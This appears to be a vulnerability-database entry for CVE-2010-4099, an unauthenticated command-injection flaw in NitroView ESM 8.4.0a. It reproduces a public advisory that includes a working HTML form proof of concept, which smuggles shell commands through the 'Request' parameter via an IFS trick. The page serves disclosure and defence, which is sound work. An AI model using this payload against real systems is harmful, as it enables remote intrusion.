CVE-2010-4099
Description
ess.pm in NitroSecurity NitroView ESM 8.4.0a, when ESSPMDebug is enabled, allows remote attackers to execute arbitrary commands via shell metacharacters in the Request parameter to ess.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
NitroSecurity ESM 8.4.0a - Remote Code Execution
-- Product description:
NitroView ESM is an enterprise-class security information and event
management system that identifies, correlates, and remediates threats
faster than any other SIEM on the market.
-- Problem Description:
During research it was found that perl module "ess.pm" is prone to
remote code execution vulnerability due to lack of user input
validation.
-- Research Environment:
The vulnerability was found and tested on ESM 8.4.0a (NitroSecurity
2.6.22.19-24nssmp64 GNU/Linux).
-- Requirements:
During the research "ESSPMDebug=1" option in
"/usr/local/ess/CPConsoleServer.cfg" was required. No authentication
in NitroSecurity ESM was required to successfuly conduct the attack.
-- Technical Details:
Because of the "system()" call in "ess.pm" module it's possible to
send specially crafted request to NitroSecurity ESM web interface,
which results in remote command execution. It's necessery to change
IFS (Internal Field Separator) to exploit this vulnerability. Probably
other methods also would work.
-- Proof Of Concept:
The following code was successfuly executed in testing environment
(remember to change x.x.x.x to your NitroSecurity ESM IP address for
testing purposes only):
-- cut --
<html>
<pre>
[*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux"
[*] No authentication required
[*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required
</pre>
<form action="https://x.x.x.x/ess"; method="POST">
<input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'"
<input type="hidden" name="debug" value="1">
<input type="submit" value="Oops()">
</form>
</html>
-- cut --
-- Impact:
Remote code execution in the context of the user running web server.
-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)
-- Disclosure timeline:
20100922: initial contact with vendor
20100922: vendor response
20100923: detailed information about vulnerability and PoC sent to vendor
20100923: vulnerability confirmed by vendor
20101008: patch released by vendor
20101025: security advisory released
-- Credits:
This bug was found by s_n ;-p
-- Greetz
K&I, #dragonflyNitroView ESM - 'ess.pm' Remote Command Execution
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| nitrosecurity | nitroview_esm_software | 8.4.0a | |
References
- http://www.exploit-db.com/exploits/15318
- http://www.securityfocus.com/bid/44421
- http://www.securitytracker.com/id?1024639
- https://exchange.xforce.ibmcloud.com/vulnerabilities/62768
- http://www.exploit-db.com/exploits/15318
- http://www.securityfocus.com/bid/44421
- http://www.securitytracker.com/id?1024639
- https://exchange.xforce.ibmcloud.com/vulnerabilities/62768
CWEs
CWE-20
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.